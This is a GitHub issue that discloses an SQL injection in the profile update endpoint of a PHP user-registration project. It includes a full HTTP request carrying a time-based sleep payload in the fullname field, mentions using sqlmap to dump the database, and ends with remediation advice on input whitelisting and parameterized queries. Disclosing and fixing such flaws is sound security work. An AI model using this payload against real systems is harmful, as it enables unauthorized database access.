Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerability/BUG - SQL Injection on "profile_action - update_user" #2

Open
shubhamvpandey opened this issue Sep 28, 2021 · 0 comments

Comments

@shubhamvpandey
Copy link

Hi
I found a SQL injection vulnerability User-Registration-and-Login-System-With-Admin-Panel

POST /User-Registration-and-Login-System-With-Admin-Panel-master/profile_action.php HTTP/1.1
Host: 192.168.1.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
Origin: http://192.168.1.3
Connection: close
Referer: http://192.168.1.3/User-Registration-and-Login-System-With-Admin-Panel-master/profile.php
Cookie: PHPSESSID=54cet827kpno5c9g9i9grjq84h

fullname=test2'%2b(select*from(select(sleep(20)))a)%2b'&username=test1&email=test%40test.com&gender=Male&action=update_user

Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.

sql new

Control -
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.

Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist

b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant